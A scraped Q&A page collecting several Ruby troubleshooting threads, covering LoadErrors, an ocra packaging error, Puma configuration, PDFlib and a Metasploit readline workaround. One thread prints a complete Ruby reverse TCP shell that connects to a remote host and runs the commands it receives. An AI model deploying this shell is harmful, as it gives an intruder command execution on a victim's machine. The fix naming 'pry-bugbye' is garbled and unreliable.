What does "cannot load such file -- ruby-debug" indicate when running require? - ruby

Hi: I've been asked to debug some ruby code, a language I know next to nothing about, so please bear with me. FWIW, the port is from v 2.1.1 to 2.3.1
This is the ruby script...
#!/usr/bin/env ruby
$VERBOSE = nil
begin
$:.unshift File.expand_path(File.join(File.dirname(File.realpath(__FILE__)), '..', 'lib'))
require 'idl'
rescue LoadError => e
puts "Failed to load idl library. #{e}"
exit(-1)
end
GC.disable # Disable GC since IDL is so transient. The GC takes an inordinate amount of time
IDL::App.instance.run
This is the error message...
Failed to load idl library. cannot load such file -- ruby-debug
The ruby script is in a dir which does have a sibling dir that has the idl library...
-> ll idl ../lib
-rwxrwxr-x 1 joe thegrp 348 Feb 26 17:29 idl
../lib:
total 12
drwxrwsr-x 3 joe thegrp 4096 Feb 21 11:44 idl
-r--r--r-- 1 joe thegrp 4327 Feb 21 11:44 idl.rb
All of this appears to have worked in 2.1.1
I don't think this is a matter where it can't find the library. I stuck some debug statements in the ruby script which just print out the value of... File.expand_path(File.join(File.dirname(File.realpath(FILE)), '..', 'lib')) and it's right on. And remember, this exact same code and dir structure worked in 2.1.1 .
Could it be that the "cannot load such file" is really trying to say "I can't load this library because it was created in 2.1.1 and this is 2.3.1" ??
What's up with the "-- ruby-debug" ?
I found some notes (internal) that "ruby-debug" could be an issue. The subject was...
errors related to deprecated debuggers like pry-debugger, debugger, ruby-debug
The solution was...
Use pry-byebug debugger
I'm not sure why a debugger is being invoked here or if it's the reason for the error. And I'm not sure how to "Use pry-byebug debugger". Is there a way I can stick this in the ruby script, something like "use pry-byebug" ?
Any help deciphering what's happening and any proposed solutions would be appreciated !

I think I just found my own answer.
A .rb file inside the library had a...
use 'ruby-debug'
I changed that to..
use 'pry-bugbye'
and it worked.
IOW, the error message was all about the use of "ruby-debug". And the solution was indeed to replace that with "pry-bugbye"
Hope this posting helps someone else in the future !

Related

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

Grape stand alone rest api ERROR: No application configured, nothing to run

I have followed this tutorial step by step: https://wildandcrazytutorials.wordpress.com/2016/03/05/how-to-build-a-grape-standalone-rest-api/
However I get the error:
Puma starting in single mode...
Version 3.6.2 (ruby 2.2.2-p95), codename: Sleepy Sunday Serenity
Min threads: 0, max threads: 16
Environment: development
ERROR: No application configured, nothing to run
when I run puma in In ./myapp
I am running it on a MacOs.
I am new to grape and I would love some guidance. I have literally simply followed the tutorial up to "Run the following to startup the server after every changeā€¦
In ./myapp
$ puma"
I got my answer from Daniel # https://groups.google.com/forum/#!forum/ruby-grape
There was a syntax error, his code below fixed my problem, I appreciate it.
require 'rubygems'
require 'grape'
Dir.glob("**/*.rb").each do |f|
puts "Loaded #{f}"
require_relative "../#{f}" unless File.absolute_path(f) == __FILE__
end

Ruby PDFLib on OSX: LoadError in require

I just downloaded and installed the Ruby for OSX version of PDFLib (from pdflib.com).
I am using the following setup:
ruby 1.9.3p429 (2013-05-15 revision 40747) [x86_64-darwin12.4.0]
OSX Yosemite 10.10.4
PDFLib 9.0.5
The require 'PDFLib' statement in my Ruby file produces the following error message:
/Users/[...]/.rvm/rubies/ruby-1.9.3-p429/lib/ruby/site_ruby/1.9.1/rubygems/custom_require.rb:36:in 'require': dlsym(0x7ff6e3ef4b90, Init_PDFLib): symbol not found - [...]/PDFLib.bundle (LoadError)
So it seems that the Ruby interpreter cannot find the Init_PDFLib in the library. But from the output of nm I gather that this symbol seems to be present:
$ nm -g ./PDFlib.bundle | grep -i init
0000000000001200 T _Init_PDFlib
[...]
Has anyone any idea what goes wrong? Thanks in advance for your answers.
Found it!
The PDFlib file is called PDFlib.bundle (small l), and my code did a require 'PDFLib' (capitalized L).
It turns out that the require does load the bundle file regardless of the wrong capitalization, but then searches for the Init_PDFLib symbol, which is not present.
So changing the require statement to require 'PDFlib' (small l) worked.

msfcli RBreadline and Readline problems

Hello my friends i have a problem with Metasploit.
OS: Fedora 20
Metasploit: Cloned from git.
The problem is:
when i run
msfconsole
I have this error:
"/usr/local/share/gems/gems/activesupport-3.2.19/lib/active_support/dependencies.rb:240: stack level too deep (SystemStackError)"
but when i run:
msfconsole -L
Everithing goes fine.
So the issue is that i have to run
msfcli auxyliary/scanner/smb/smb_enunshares E
and i get the same error when i run "msfconsole"
I believe that the problem is for somes GEMS.
EDIT:
I was able to solve the problem, but this isn't the best way.
I had to modify the code.
This is what i do:
1) edit the file: /metasploit-framework/lib/msf/ui/console/driver.rb
2) go to line: 59
3) replace:
rl = false
rl_err = nil
begin
if(opts['RealReadline'])
require 'readline'
rl = true
end
rescue ::LoadError
rl_err = $!
end
# Default to the RbReadline wrapper
require 'readline_compatible' if(not rl)
for:
rl = true
rl_err = nil
require 'readline'
and then everithing should work. What i did is to force the "-L" option in the code.
if anyone have another solution, please post it!
:-)
The problem is an incompatibility with Metasploit's bundled rbreadline and ruby 2.x; use 1.9.3 for now or start msfconsole with -L.

Error I have gotten a few times and I don't know how to fix it

I keep seeing undefined (?...) sequence: something. For this particular one I had..
/(?<!\d)[0-3]?\d(?!\d)/
but this has happened a few times to me and I'm not sure how to fix it.
These always work in rubular, but then i get that error when I run it?
Help please!
its working here :
rituraj#rituraj:~$ irb
2.1.1 :001 > s = "somestring 23 and 34 and 233"
=> "somestring 23 and 34 and 233"
2.1.1 :002 > s.scan(/(?<!\d)[0-3]?\d(?!\d)/)
=> ["23", "34"]
check your ruby version:
Ruby's regex engine doesn't support lookbehind which is less than 1.9.
You'd need to switch to 1.9+.
optional usage : you can use oniguruma

Resources